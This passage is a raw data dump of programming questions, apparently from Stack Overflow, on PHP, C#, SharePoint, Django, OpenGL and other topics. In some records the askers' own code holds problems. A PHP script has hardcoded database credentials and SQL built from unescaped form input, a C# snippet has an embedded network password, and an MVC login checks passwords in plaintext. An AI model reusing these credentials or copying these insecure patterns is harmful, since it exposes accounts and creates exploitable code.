to produce the number I want returned? \n\n", "/// ULong - 64 bit, unsigned \n///
UInt - 32 bit, unsigned \nconst UInt Divisor; \nint TrickyCounter( ULong
Dividend)\n{\n int count = 0;\n Ulong Quotient;\n UInt Remainder;\n\n
do {\n Quotient = Dividend/Divisor;\n Remainder = Dividend%Divisor;\n
assert((Quotient >> 32) == 0);\n count = count + 1;\n Dividend =
((ULong)Remainder << 32) + Quotient;\n } while (Remainder != 0);\n return
count;\n}\n", "algorithm language-agnostic math puzzle"], "5628961": ["Which NoSQL
db to use with C?", "I'm working on an application that I'm going to write with C
and i am considering to use a nosql db for storing timeseries data with at most 8
or 9 fields. But in every 5 minutes there will huge write operations such as 2-10
million rows and then there will be reads(but performance is not as crucial in read
as in the write operation).\nI'm considering to use a NoSQL db here in order to
store the data but couldn't decide on which one to use. Couchdb seems to have a
stable driver called pillowtalk for C; but Mongo's driver doesn't look as promising
as pillowtalk. I'm also open to other suggestions.\nWhat is your recommendation?\
n", "", "c mongodb couchdb nosql"], "4429948": ["Returning Json object from
controller action to jQuery", "I'm attempting to get this working properly (2 days
now). I'm working on a log in where I'm calling the controller action from jQuery,
passing it a JSON object (utilizing json2.js) and returning a Json object from the
controller. I'm able to call the action fine, but instead of being able to put the
response where I want it it just opens a new window with this printed on the
screen:\n\n{\"Message\":\"Invalid username/password\n combination\"}\n\nAnd the
URL looks like http://localhost:13719/Account/LogOn so instead of calling the
action and not reloading the page it's taking the user to the controller, which
isn't good.\nSo now for some code, first the controller code\n\nAnd the jQuery
code\n\nIn case you need to see the actual login form here that is as well\n\nThe
login form is loaded on the main page with\n\nNot sure if that has any bearing on
this or not but thought I'd mention it.\nEDIT: The login form is loaded similar to
the Twitter login, click a link and the form loads with the help of jQuery & CSS\
n", "[HttpPost]\npublic ActionResult LogOn(LogOnModel model, string returnUrl
= \"\")\n{\n if (ModelState.IsValid)\n {\n var login =
ObjectFactory.GetInstance<IRepository<PhotographerLogin>>();\n\n var user =
login.FindOne(x => x.Login == model.Username && x.Pwd == model.Password);\n\n
if (user == null)\n return Json(new FailedLoginViewModel { Message
= \"Invalid username/password combination\" });\n else\n {\n
if (!string.IsNullOrEmpty(returnUrl)) \n return
Redirect(returnUrl);\n else \n return
RedirectToAction(\"Index\", \"Home\");\n }\n }\n return
RedirectToAction(\"Index\", \"Home\");\n}\n", "json mvc jquery-ajax controller"],
"2234367": ["Sharepoint Authentication - 3rd Party USB Device", "My company does
not give \"active\" Active Directory accounts to each employee, typically they are
limited to supervisors. I want to create a portal within our sharepoint site to
allow every employee to submit requests to HR, an attempt at going paperless, this
is just a first step as a trial run.\nEvery employee currently has a \"button\"
which is a device we buy from Maxim. A description of the button from the company
website is:\n\nEach iButton has a unique and unalterable address laser etched onto
its chip inside the can. The address (e.g. 2700000095C33108) can be used as a key
or identifier for each iButton.\n\nSo in our database there is a 1 to 1 between
that address and an employee.\nI want to use this to override the generic \"TECH\"
login that we use at every manufacturing station in our plant.\nBasically, IF
user=Tech, read button and compare it to the database.\nSo my questions are:\n\nIs
this possible?\nDo we have to switch to another type of login system?\nIs there a
good reference / book / guide out there that details how to do this?\n\nCurrent
Setup:\n\nSharePoint 2010 \nWindows Server 2008 R2 \nSQL Server 2008 (All employee\
ndata is maintained here) \nActive Directory - Not maintained well.\n\n", "",
"sharepoint authentication active-directory usb"], "3930428": ["Modify MSIL in a
plug-in dll at runtime", "We have a .NET plug-in mechanism, but our SDK isn't
frozen yet so we make breaking changes every now and again. Sometimes these only
amount to a change in casing or fixing a naming convention.\nSo, question; how hard
is it to go into a dll before or after it's loaded and change the msil so that
trivial SDK breakages can be fixed at runtime?\n", "", ".net reflection cil"],
"5195224": ["How to stop search field returning all results when submitting empty
search field?", "If i click on my search field and submit it without entering any
text all the data in my database is returned. How is this stopped so nothing
happens?\nCheck out the site:\nweezy.co.uk/newresults.php\nThanks!\nJames\n\n", "
<?php\n\n $conn = mysql_connect(\"cust-mysql-123-
02\", \"uwee_641290_0001\", \"La0%-Mr4\");\n\n if (!$conn) {\n echo \"Unable
to connect to DB: \" . mysql_error();\n exit;\n }\n\n {\n\n $search =
\"%\" . $_POST[\"search\"] . \"%\";\n $searchterm = \"%\" .
$_POST[\"searchterm\"] . \"%\";\n\n }\n\n if (!
mysql_select_db(\"weezycouk_641290_db1\")) {\n echo \"Unable to select mydbname:
\" . mysql_error();\n exit;\n }\n\n $sql = \"SELECT name,lastname,email \n
FROM test_mysql\n WHERE name LIKE '%\".$search.\"%' AND lastname LIKE '%\".
$searchterm.\"%'\";\n\n $result = mysql_query($sql);\n\n if (!$result) {\n
echo \"Could not successfully run query ($sql) from DB: \" . mysql_error();\n
exit;\n }\n\n if (mysql_num_rows($result) == 0) {\n echo \"No rows found,
nothing to print so am exiting\";\n exit;\n }\n\n\nwhile ($row =
mysql_fetch_assoc($result)) {\n echo '<br>';\n echo '<br>';\n echo '<div
class=\"data1\">';\n echo $row[\"name\"];\n echo '</div>';\n echo '<br>';\
n echo '<div class=\"data2\">';\n echo $row[\"lastname\"];\n echo
'</div>';\n echo '<br>';\n echo '<div class=\"data3\">';\n echo
$row[\"email\"];\n echo '</div>';\n }\n\n mysql_free_result($result);\n\n
?>\n", "php mysql html forms"], "4429876": ["Showing the Wait Cursor?", "I want to
show a wait cursor during a time-consuming process in a Prism app I am writing. I
have wired it up using a composite event. 'True' means show the wait cursor,
'false' means go back to default. \nThe Shell subscribes to the event and processes
it using the following event handler:\n\nThe module that executes the time-
consuming process publishes the event with a 'true' payload when it starts
the process, and publishes the event again with a 'false' payload when it
completes the process.\nThe event handler is being called on both occasions--I
tested by setting a breakpoint. But the cursor isn't changing. Any idea what I am
doing wrong? Thanks.\n", "WaitCursorRequestEvent<bool>", "prism"], "911379":
["Implications of a \"high probability\" bound on the expectation of a random
variable", "Suppose that, for a discrete, simple, and positive random variable $X$,
it happens with probability $ 1 - 1/n$ that $X\\le f(n)$, for some function
$f(n) \\in o(n)$. I don't know anything else about the actual distribution of
$X$. \nIs it possible to upper bound $E[X]$ in terms of $f(n)$? The intuition I
have is that if $X$ is less than $f(n)$ with high probability, then clearly it's
expectation should also be less than $f(n)$.\nThis seems to be like a converse
statement of Markov's inequality where we know something about the expectation and
use it to bound the random variable itself.\n", "", "probability-theory"],
"3933477": ["How to get Item from ListItem with Client Object model", "I'm trying
to printOut some items from a ListItem. But when run the code I get following
exception: \n\n\"Invalid usage of query execution. The query should be executed by
using ExecuteQuery method on the client context object\".\n\nThis is the code
Block: \n\n", " static void Main(string[] args)\n {\n try\n {\n
ClientContext _clientContext = new
ClientContext(\"http://spweb.reply.eu/sites/RC1/1003/\");\n
_clientContext.Credentials = new
NetworkCredential(\"mossuser\",\"Reply.96\",\"replynet\");\n SP.List list =
_clientContext.Web.Lists.GetByTitle(\"Contenuti\");\n CamlQuery query = new
SP.CamlQuery();\n query.ViewXml = \"@<View><Query><Where><Eq><FieldRef
Name='tt_network_id' /><Value
Type='Text'>clu_noe</Value></Eq></Where></Query></View>\"; \n var itemts=
list.GetItems(query);\n _clientContext.Load(itemts);\n
_clientContext.ExecuteQuery();\n
Console.Write(itemts.Count().ToString());\n }\n catch (Exception e)\n
{\n\n Console.Write(e.Message);\n }\n\n\n }\n", "list
sharepoint-foundation sharepoint-enterprise web-services client-object-model"],
"324444": ["What is the criteria that Windows uses to display Update counts?", "I
am tiring to write a Powershell script that will return the count of Windows
Updates available the same way that Windows returns the count. The problem that I
am having is that I can't get my count to match the count that Window's Update
returns.\n\nFor example my script may return:\nCritical Count: 0\nImportant Count:
1\nOptional Count: 30\n\nBut Windows Update will say that there are:\nCritical
Count: 1\nImportant Count: 1\nOptional Count: 29\n\nDoes anyone know what criteria
Windows uses to display the the counts in Windows Update?\n\nHere is a sample of my
code:\n\n\n", "# ----- Get All Assigned updates --------\n$UpdateSession = New-
Object -ComObject \"Microsoft.Update.Session\"\n$UpdateSearcher =
$UpdateSession.CreateUpdateSearcher()\n$SearchResult =
$UpdateSearcher.Search('IsInstalled=0')\n\n# ----- Matrix Results for type of
updates that are needed --------\n$critical = $SearchResult.updates | where
{ $_.MsrcSeverity -eq \"Critical\" }\n$important = $SearchResult.updates | where
{ $_.MsrcSeverity -eq \"Important\" }\n$optional = $SearchResult.updates | where
{ ($_.MsrcSeverity -ne \"Critical\") -and ($_.MsrcSeverity -ne \"Important\") }\n",
"powershell windows-update"], "1062703": ["Populating NSDictionary and NSArrays for
Model data", "I'm trying to create an full of arrays in the implementation file of
my model but my code hasn't worked yet. I want to create arrays that are lists of
types of dogs and cats and then add those arrays to a dictionary with keys called
and . Here is my code:\n\nThis code is the model. The model is hooked up to my view
controller such that when a user taps a button, the returned from is displayed in
a label on the screen. So the text will read either or . Here's the code for
that:\n\nUnfortunately when I tap the button on the simulator I get an error
message saying: at and it appears that I'm getting it because neither my nor my
have any objects inside of them. \nDoes anyone have any idea why my and haven't
been populated?\nThanks very much.\n", "NSDictionary", "iphone cocoa-touch nsarray
nsdictionary xcode4.3"], "4981583": ["Why my theme option not working?", "I am
looking for the bugs about an hour but i can't find anything. Can you look and say
why my theme option is not working?\nProblem:\nThe theme option not saving. Even
the default option is also blank. I checked the value via php my admin.\nCheck the
code in pastebin. And also how i can debug this kinds of
problem?\nhttp://pastebin.com/TPV5YvD9\nThanks in advance.\n", "", "theme-
development theme-options troubleshooting"], "3890039": ["Session Invalidation", "I
have two application where the login mechanism is through FORM based
authentication. The applications are namely \"bookapp\", \"newsapp\". The issue is
like, I login to my bookapp through internet browser with valid credentials and
enter into application by setting respective session parameters required. \nNow, I
open a new tab and open my newsapp application. Doing this i access my bookapp
application and noticed that session has invalidated automatically. It looks like
my session is getting overriden here and hence bookapp throws me out. \nPlease
advise if this is an existing mechanism or loading application page using FORM
based authentication overrides session. \n", "", "session servlets session-cookies
sessionid"], "615835": ["running python programs from a CDrom", "I have some
programs written in python 2.5.4, using the pygame and matplotlib/pyplot libraries
on my computer and I want to know whether it is possible to transfer and run python
(and the files) from a disc. I tried the drag and drop with both the programs and
the python libraries, tools, DLL's, etc. But the programs will not run. Does anyone
know how I can get a CD to contain python and run these files?\n", "", "python
executable run cd"], "3634879": ["How to prevent NHibernate to load child
collection in one-to-many relationship when removing parent", "I have Company-
>Users one-to-many relationship and I would like users to be cascade deleted, when
company is deleted. The problem is that NHibernate (accourding to console output: I
have configured Nhibernate to log generated sql to console) first load the child
collection and then performs delete on every child. How to configure NHibernate to
cascade delete child collection without loading it?\n", "", "nhibernate nhibernate-
mapping cascading-deletes"], "4138432": ["How to Achieve Horizontal Page Height
Progress?", "I was recently asked how to create a horizontal page height progress
bar with jQuery, similar to the one here: http://www.piccsy.com/investors/ . I've
looked around and have been unable to find anything, both through Google searches
and the old jQuery plugin library.\nDoes anyone know how this effect can be
achieved? I'd assume it'd have something to do with $('#containerDiv').scrollTop(),
but I have zero familiarity with that method.\n", "", "jquery height progress
scrolltop"], "4447706": ["How to include Database in C# application when it runs in
new computer after it is installed on that computer?", "I made a C# based
application that use SQLCommand, SQLConnection and SQLAdapter (SQL objects) with
database named \"base1\".\nProblem is that, SQL is installed in my PC along with
Visual Studio, so App recieve no problem in connecting itself to base1 for
transaction of data.\nNow, i want to make setup of this application. I want to
add \"base1\" in this setup so that when new user install this application, app can
easily connect with base1.\n", "", "c# .net sql visual-studio-2012"], "33083":
["GitHub Sync Fork From Windows Client", "I can merge my branch or sync from the
upstream by using the shell but, is there any easier way to accomplish this without
using the shell?\nI have been following this instructions but is there any easier
solution for this?\n", "", "git github"], "656825": ["How do I as an application
sys-admin monitor Verified by VISA and MasterCard SecureCode?", "We integrate with
3 payment service providers in multiple countries, and sporadically we will get
customer reports that the 3DSecure-check part of the payments-process is not
working. We've yet to get adequate reports to troubleshoot the problem or
proactively warn customers that this may happen (or disable the check for the
duration of a problem).\nHow can we directly monitor the VISA and MasterCard
service-dependencies so that we can get better insight into our payments-process
status? Our PSPs do not expose the problems in a proactive way; we get problem-
reports direct from customers, as I mentioned - not the best place to be in.\nWe're
after:\n\nAn API-call we can periodically make to get red/green status for each
system\nA web-page we can hit to see whether the system is expected to be up/down\
nA web-page we can hit to see whether there's upcoming maintenance/down-time\nA way
of running through a test payment, but against a real live payment-card, but that
won't then affect the credit rating of the card's account since we'll essentially
be setting up and cancelling payment-authorisations on a several-times-a-day basis
if we do that\n\nWhere can we find some/all of the ab\n", "", "monitoring
dependencies"], "2433294": ["Matching a datetime against a date in django", "I have
a django model with a called which I want to match against a object. Is there a
way to do that in django's queryset language better than\n\n", "DateTimeField",
"python django"], "5229600": ["How do I set the opacity of a vertex in OpenGL?",
"The following snippet draws a gray square.\n\nIn my application, behind this
single square exists a colored cube.\nWhat function should I use to make square
(and only this square) opaque?\n", "glColor3b(50, 50, 50);\n\nglBegin(GL_QUADS);\
nglVertex3f(-1.0, +1.0, 0.0); // top left\nglVertex3f(-1.0, -1.0, 0.0); // bottom
left\nglVertex3f(+1.0, -1.0, 0.0); // bottom right\nglVertex3f(+1.0, +1.0, 0.0); //
top right\nglEnd();\n", "c++ opengl transparency opacity"], "3130729": ["How to
know all id's that i have in the file main.xml in android?", "i'm new at Android
world, and i have a doubt, is there any method that give me the name of the id's i
create in main.xml?\nFor example i have this:\nmain.xml\n\nAnd what i want is the
id name from the two TextView, is there any method that i can use in my class .java
that give me for this example the id? In this case i want the (text1 and text2).\
nThanks and forgive mi English.\n", "<TextView android:id=\"@+id/text1\"\n
android:layout_width=\"70px\"\n android:layout_height=\"70px\"\n
android:text=\"Google\"\n />\n\n<TextView android:id=\"@+id/text2\"\n
android:layout_width=\"70px\"\n android:layout_height=\"70px\"\n
android:text=\"As\"\n />\n", "android textview"], "3925960": ["error with pdf
viewer - invalid stream length xcode", "I use this tutorial
\nhttp://n00bdev.com/archives/5\nfor create a pdf viewer, is equal to my project
but I get this error.\nWhat could be the problem?\n\n", "invalid stream length
3103; should be 3106.\ninvalid stream length 3022; should be 3025.\ninvalid stream
length 2969; should be 2972.\ninvalid stream length 2874; should be 2877.\ninvalid
stream length 2781; should be 2784.\ninvalid stream length 2735; should be 2738.\
ninvalid stream length 2876; should be 2879.\ninvalid stream length 2756; should be
2759.\ninvalid stream length 72338; should be 72341.\ninvalid stream length 414;
should be 417.\ninvalid stream length 561; should be 564.\ninvalid stream length
6707; should be 6710.\n", "iphone xcode pdf stream"], "4214907": ["Windows Command
SC, how to check errorlevel", "I'm looking for a way to check the returncode /
errorlevel of the SC command in a DOS script. How can I get this information ?\n",
"", "windows cmd"], "4449700": ["Core data, NSMutableArray contains NSManagedObject
, objects become nil after inserting the first NSManagedObject of the array", "I am
inserting an array of NSManagedObject using coreData, after i successfully insert
my first object, the second object of the NSMutableArray becomes nil Why is that?\
nhere is a snapshot of my code:\n\nWhen i enter the insert function i debug the
categoryArray, all objects are there, after looping the first time temp becomes nil
for some reason, anyone knows why?\n", "+ (void)insertCategoryUsingCategoryArray:
(NSMutableArray *)categoryArray\n{\n if(!categoryArray)\n return;\n
for (int i=0;i<[categoryArray count]; i++) {\n DataCategory
*temp=(DataCategory *)[categoryArray objectAtIndex:i];\n\n DataCategory
*categoryInfo=(DataCategory *)[NSEntityDescription
insertNewObjectForEntityForName:@\"DataCategory\"
inManagedObjectContext:_sing.managedObjectContext];\n\n [categoryInfo
setCategoryId:temp.categoryId];\n [categoryInfo setName:temp.name];\n
[categoryInfo setImgSrc:temp.imgSrc];\n\n NSError *error;\n if (!
[_sing.managedObjectContext save:&error]) {\n NSLog(@\"An error occured
while saving! shit : %@\", [error localizedDescription]);\n }\n
categoryInfo=nil;\n }\n}\n", "sqlite core-data memory-management nsmutablearray
nsmanagedobject"], "4403194": ["mobile.changePage", "I am designing JQuery Mobile
application and facing one problem there, i have two pages,page1.aspx and
page2.aspx,i have to redirect from page1 to page2,currently i am using
window.location.href for redirection,but it is show loading also in address bar. In
order to avoid this i want to use $.mobile.changePage.\nProblem:\nAfter coming to
page2 i want to execute the code written in Page2 load event,it's working fine with
window.location.href,but while using mobile.changePage it is redirecting but load
event is not firing,after coming to page2.aspx if i am refreshing the page it is
loading, so my problem is while displaying page2.aspx load event has to fire. can
anyone tell me why page2.aspx is not loading while using $.mobile.changePage\nif
anyone knows the solution,please reply ASAP,its very urgent. Thanks in advance.\
nPage Structure is as follows:\nPage1.aspx:\n\nPage2.aspx:\n\nNow when i am writing
code like this,page is changing but in load event of page2 whatever code i have
written is not executing,\nThis is the second time i am raising this issue,please
help\n", " $.mobile.changePage(\"../Page2.aspx\", { transition: \"slide\",
changeHash: true, reverse: false }); \n", "jquery-mobile"], "2819907": ["\"Unable
to decrypt password\" popup in Remote Desktop Connection Manager", "I am using
Remote Desktop Connection Manager 2.2 and every time I click on properties on a VM
of mine, I get a popup window:\n\nunable to decrypt password\n\nHow can I make this
popup go away?\n", "", "remote-desktop remote"], "11821": ["Model objects versions
in Django", "I'm building an e-commerce website.\nI have a Product and Order
models.\nIt's possible that a customer order a product and then the admin change
its price\nor other fields before the customer actually get it.\nA possible
solution is to add a 'version' field to the Product model.\nWhen the admin update a
product field I'll add a timestamp and create a new object\ninstead of updating the
old one.\nAn Order will have a reference to a specific product version.\nDoes this
make sense?\nWill overriding the Product Save method be sufficient to make it
work?\nThanks\n", "", "django version models"], "1707143": ["Axis2 WSDL2Java :
missing no-arg operation in generated stub", "I've got in my webservice a simple
service.\nI defined it in my WSDL :\n\nWhen I generate the Service skeleton the
method is generated but not in the client stub. Is there a problem in the WSDL ?
Should I put a wsdl:input even if the method don't have arguments (I didn't put the
whole WSDL but all the other method with a \"request\" arg are well generated) ?
And if I have to put a wsdl:input what would be it's message ?\nEdit : After
validating the WSDL under Eclipse I have the warning after searching I found a
description here : http://www.ws-i.org/Testing/Tools/2005/01/BP11_TAD_1-
1.htm#BP2208 (it seems the anchor doesn't work) so I guess the error is probably
the missing wsdl:input.\n", "public boolean isAlive()", "java web-services wsdl
axis2 wsdl2java"], "1525668": ["Extending PHP Smarty Singleton Class", "I'm not
really sure how to ask this question. Basically I am trying to make my view object
a singleton extended from the Smarty object. I then want to be able to extend off
of the view object to my controller objects.\nThe View object will assign my
template variables I want available to all my controllers.\nI know what I have now
has problems, but if someone could point me in the right direction, that would be
awesome. I tried to word this the best I could.\n\n?>\n", "<?php\n\
ndefined('SITE_ROOT') ? null : define('SITE_ROOT',
$_SERVER['DOCUMENT_ROOT'].'/mvcsandbox');\n\nrequire_once('Smarty/
Smarty.class.php');\n\nclass View extends Smarty {\n\n public static
$instance=NULL;\n\n public static function getInstance(){\n\n if ( self::
$instance === null ){\n self::$instance = new self();\n }\n
return self::$instance;\n }\n\n public function __construct() {\n\n
$this->template_dir = SITE_ROOT.'/Library/tmp/';\n $this->compile_dir =
SITE_ROOT.'/Library/tmp/';\n $this->config_dir =
SITE_ROOT.'/Library/tmp/';\n $this->cache_dir =
SITE_ROOT.'/Library/tmp/';\n\n $this->assign(\"var1\", \"This is from the
view class\");\n\n }\n\n public static function output() {\n\n
self::display('test.tpl');\n\n }\n\n}\n\nclass Controller1 extends View {\n\n
public function init() {\n $this->assign(\"var2\", \"This is from the
Controller1 class\");\n }\n\n}\n\nclass Controller1_index extends Controller1 {\
n\n public function init() {\n $this->assign(\"var3\", \"This is from the
Controller1_index class\");\n }\n\n}\n\n//$view = View::getInstance();\
n$controller1 = Controller1::getInstance();\n$controller1_index =
Controller1_index::getInstance();\n\n$controller1->init();\n//$controller1_index-
>init();\n\n$controller1->output();\n", "php class smarty extend"], "2926519":
["Fast circle collision detection", "I'm trying to write a method that will
calculate if two circles are overlapping. I've come up with the following and I'm
just curious to know if there is anyway it could be optimised further.\n\n",
"private static boolean isCollision(Point2D p1, float r1, Point2D p2, float r2)\n{\
n float a,dx, dy;\n a = (r1+r2) * (r1+r2);\n dx = (float) (p1.getX() - p2.getX());\
n dy = (float) (p1.getY() - p2.getY());\n\n if (a > (dx*dx) + (dy*dy))\n {\n
return true;\n }\n return false;\n}\n", "java optimization collision-detection
performance circle"], "3163426": ["On the class group of an imaginary quadratic
number field", "Let $d < 0$ be a square-free integer and let $p_{1},\\ldots p_{r}$
be the prime divisors of $d$. Let $K := \\mathbb{Q}[\\sqrt{d}]$ and consider $P_{i}
:= (p_{i}, \\sqrt{d}) \\subset \\mathcal{O}_{K}$. Then, the classes of $P_{1}, \\
ldots P_{r}$ generate a subgroup of $Cl(K)$ isomorphic to $\\left(\\mathbb{Z}/2\\
mathbb{Z}\\right)^{r\u22121}$.\n(standard notations: $Cl(K)$ denotes the class
group of $K$, whereas $O_{K}$ is the ring of integers)\nI'm having trouble with
this result which I heard belongs to Gauss. I can't find a proof. Can anyone help
or provide a reference?
Thanks!\nThis is really interesting since we get the order of $2$ in the class
number in terms of the number of prime divisors of the squarefree $d$.\n", "",
"algebraic-number-theory"], "4429874": ["Android Application Preferences", "Hi I
have created an application which works good. However I would like a preference
where the user can change the text size of the main application. The main app only
consists of one view. Is this possible?\nThanks\n", "", "android application
android-preferences"], "5918177": ["Jenkins: Permission denied to a 777 file", "I
have created a Jenkins build to compile and distribute some modules. The output of
the build commands (e.g., or ) is redirected to a file named .\nThe funny thing is
that redirecting into the very same file, using , fails:\n\nThe file exists and
has 777 permissions (checked with ). Any ideas what's wrong with this write?\n",
"make", "logging jenkins file-permissions tee"], "3468700": ["how to convert all
datetime columns in a sql server 2005 express database with data to UTC",
"background: We recently upgraded to handle UTC. ie., went thru each sp and func
and changed the t-sql code to handle utc. For eg., changed getdate() to
getutcdate() etc. For new shipments we are good where the db is blank. For our
older customers who want to keep their data we need to run a script that will
update all the dates to utc. I am about to code in t-sql something like below and
want to know if this is best way. Below is pseudo code. thanks\n\n", "foreach
(table in mydb.tables())\n{\n foreach (column col in table)\n {\n if
(col.type == datetime)\n {\n update table set col =
fn_convert_date_to_utc(col)\n }\n }\n}\n", "sql-server sql-server-2005 tsql
sql-server-2008 sql-server-2000"], "1485878": ["PHP Uploading a Large image and
resizing with proportion like Photoshop", "A quick brief. We currently have to make
small, medium and large images based on product images we have on our site. Not
being a wiz on PHP I thought I would still try to automate this nightmare.\nThe
image we upload and dimension of the thumb is below\n\nThe problem with my PHP
script is that it just resizes with scaling to proportion. I want to it to be able
to scale down like in Photoshop, you just click shift and the image scales. I am
trying to use but with little luck.\n\nHow can I resize properly without having a
stretched image? Is it possible?\n", "800 width x 1400 width LARGE\n300 width x 525
width THUMB\n", "php file-upload upload photoshop image-resizing"], "5339030":
["Showing Detailed Error Messages", "I have a little block that will tell the user
more detailed information when invalid data is passed to my application:\n\nWhen I
run the application locally with invalid data it throws the as expected:\n\
nHowever when I publish it to the server it will only throw like this for the same
exact error:\n\nI can still run the code with valid data, so I know everything else
is working correctly.\nIs there something else I have to add to my ?\nHere's what I
have now:\n\n", "Try Catch", "c# asp.net exception iis7 asp.net-4.0"], "691628":
["Removing Focus from a link, once clicked in CSS drop down menu", "I have a css
drop down menu (below), however, my problem is this, once a drop menu option (link)
is clicked, nasty ie. 7 leaves an unwated rectangular fine dotted line focus that
appears long after a menu option is clicked. How can I remove the focus of the link
after it has been clicked?\n\nThe CSS:\n\n", " <div id=\"menu\" style=\"width:
1001px; height: 20px\">\n <ul>\n <li><a href=\"#nogo\"><div
id=\"file\">File</div></a>\n <ul>\n <li><a href=\"#nogo\"
onclick=\"window.print()\"><div id=\"print\">Print</div></a></li>\n <li><a
href=\"#nogo\" onclick=\"sims_update()\"><div id=\"save\">Save</div></a></li>\n
<li><a href=\"#nogo\" onclick=\"sims_update('s');window.close()\"><div
id=\"saveandexit\">Save & Exit</div></a></li>\n <li><a href=\"#nogo\"
onclick=\"window.close()\"><div id=\"exit\">Exit</div></a></li>\n </ul>\n
</li>\n <li><a href=\"#nogo\"><div id=\"edit\">Edit</div></a>\n <ul>\n
<li><a href=\"#nogo\" onclick=\"sims_addnew();return false\"><div id=\"addnew\">Add
new</div></a></li>\n <li><a href=\"#nogo\"><div
id=\"delete\">Delete</div></a></li>\n <li><a href=\"#nogo\"
onclick=\"sims_reset()\"><div id=\"clear\">Clear Form</div></a></li>\n </ul>\n
</li>\n <li><a href=\"#nogo\"><div id=\"view\">View</div></a>\n <ul>\n
<li><a href=\"#nogo\"><div id=\"goto_first\">&gt;&gt; Go to First</div></a></li>\n
<li><a href=\"#nogo\"><div id=\"goto_next\">&gt;Go to Next</div></a></li>\n
<li><a href=\"#nogo\"><div id=\"goto_prev\">Go to Previous&gt;</div></a></li>\n
<li><a href=\"#nogo\"><div id=\"goto_last\">Go to Last&gt;&gt;</div></a></li>\n
</ul>\n </li>\n\n <li><a href=\"#nogo\"><div
id=\"reports\">Reports</div></a>\n <ul>\n <li><a href=\"#nogo\"><div
id=\"export_excel\">Export to Excel Table</div></a></li>\n <li><a
href=\"#nogo\"><div id=\"export_html\">Export to HTML Table</div></a></li>\n
<li><a href=\"#nogo\" onclick=\"sims_compile_htmllist()\"><div
id=\"export_list\">Export to HTML List</div></a></li>\n </ul>\n </li>\n\n
<li><a href=\"#nogo\"><div id=\"logoff\">Logoff</div></a></li>\n\n </ul>\n
<ul>\n </div>\n\n</div>\n", "css html5 css3"], "691629": ["What is the most
common website width to design to?", "At the current present time, what is the most
common website width to design to? 1000px?\n", "", "design website"], "5635425":
["What browsers use their own copy of Flash?", "I am suffering from a Flash related
issue, that aside I would just like to know more about this.\nI know that some
browsers such as Chrome use their own copy of Flash, which they control the updates
etc. for, whereas others don't.\nWhat I would like to know is which do and don't.\
n", "", "flash webbrowser"], "4835068": ["How to set up Colors for Test Output when
Using Mocha?", "I was using gem to format ANSI color output for tests, which
worked great.\nThen I discovered that it doesn't work with mocha. Is there a way to
get them to work together? How do you create color output when working with mocha?\
nThanks.\n", "turn", "ruby-on-rails ruby-on-rails-3 gem ansi mocha"], "2136891":
["C programming: How do I use realloc in this program?", "I have to write a program
that stores and prints out integers from memory. I have to use realloc.
Basically, the program allocates size for 2 ints. When input is given 2 ints it
should reallocate space for 1 more int and prints out double. Next, when input is
given 3 ints, it should allocate 2 more spaces for int and prints out double.. and
so on.. \n\nI wrote this program but it does not allocate memory properly. Can
someone guide me in the write direction please?\n\n", "Test cases:\n\ninput file
in.0:\n------\n4\n------\n\nexpected output:\n------\n4\n------\n\
n=================================================\n\ninput file in.1:\n------\n4
5\n------\n\nexpected output:\n------\n4\n5\ndouble\n------\n\
n==================================================\n\ninput file in.2:\n------\n4
5 3\n------\n\nexpected output:\n------\n4\n5\ndouble\n3\ndouble\n------\n\
n===================================================\n\ninput file in.3:\n------\n4
5 3 2 9\n------\n\nexpected output:\n------\n4\n5\ndouble\n3\ndouble\n2\n9\ndouble\
n", "c homework malloc realloc"], "3485610": ["Hashing password algorith issue", "I
am new in C# wpf programming but I am trying to connect to MySQL database and to
hash my password. Unfortunately while I was implementing the algorith I get error
in this code:\n\nThe error is: \n\nBy any chance do you know what is causing this
errors and how to fix it?\n", "byte[] plainTextWithSaltBytes = new
byte[plainTextBytes.Length + saltBytes.Length];\
nsalt.CopyTo(plainTextWithSaltBytes, 0);\nplainText.CopyTo(plainTextWithSaltBytes,
salt.Length); \n", "c# mysql hash"], "3905719": ["Modifying on the fly the data
sent with jquery via ajax", "\nI am using the with some specific . One of them is
an which is generated on the server side if the user choose not to use one of his
albums. The problem is that if a user add several photos to a new album then,
instead of adding all photos to the same album, it creates several albums with one
photo in each.\nWhat is currently working:\n\nupdate an album (using one the user
already has)\ncreate a new album\nsend back the new album id\n\nI tried to update
the album name field according to the new album id sent back on the event,
thinking that in the next ajax call, the attribute would then be the new album id,
but it keeps using the former value.\nI know that this issue can be solved by using
, because in this case each ajax call will use the updated value in the album name
field, but it totally freezes the browser.\nDo you have any trick/suggestion for
this issue?\n\nCheers,\nNicolas.\n", "jQuery.ajax()", "jquery ajax asynchronous"],
"5130713": ["How to send HTML emails in Outlook for Mac", "I'm not able to send
HTML emails using Outlook for Mac. The emails I send are all in plain text and not
in HTML.\nHow do I change this?\n", "", "osx office-for-mac outlook-2011"],
"2961906": ["Unable to use X clipboard in Screen", "I read the following code in
Unix Power Tools on page 117\n\nI have not managed to see any effect of the above
code.\nHow can you use X clipboard in Screen, without your mouse?\n", "
*VT100.Translations: #override\\\n Button1 <Btn3Down>: select-
end(primary,CUT_BUFFER0,CLIPBOARD)\\n\\\n !Shift <Btn2Up>: insert-
selection(CLIPBOARD)\\n\\\n ~Shift ~Ctrl ~Meta <Btn2Up>: insert-
selection(primary,CUT_BUFFER0)\n", "screen clipboard"], "3468703": ["php5-fpm
spawning multiple times", "On my 512MB ram server memory use was at 50%. I
installed fastcgi and php5-fpm and now the server memory is
report 137%.\nSee below for results of 'top'. Currently I have a site in apache
being served by nginx as a reverse proxy. But the site currently is just one
index.html file with a couple words in it.\nTo note I followed these instructions
to set the fastcgi and php5-fpm up: http://alexcabal.com/installing-apache-
mod_fastcgi-php-fpm-on-ubuntu-server-maverick/\n\n", " 1 root 15 0 23560
1644 1316 S 0 0.2 0:01.23 init \n 1136 root
15 0 18888 1012 784 S 0 0.1 0:00.07
cron \n 1202 mysql 15 0 183m 23m 6768 S
0 2.6 0:02.70 mysqld \n 1210 root 15 0
49424 2668 2108 S 0 0.3 0:05.41 sshd \n 1231
syslog 15 0 12536 796 600 S 0 0.1 0:00.30 syslogd
\n 1297 root 15 0 84088 21m 1604 S 0 2.3 0:05.56 miniserv.pl
\n 3748 root 16 0 70764 3308 2568 S 0 0.3 0:00.02 sshd
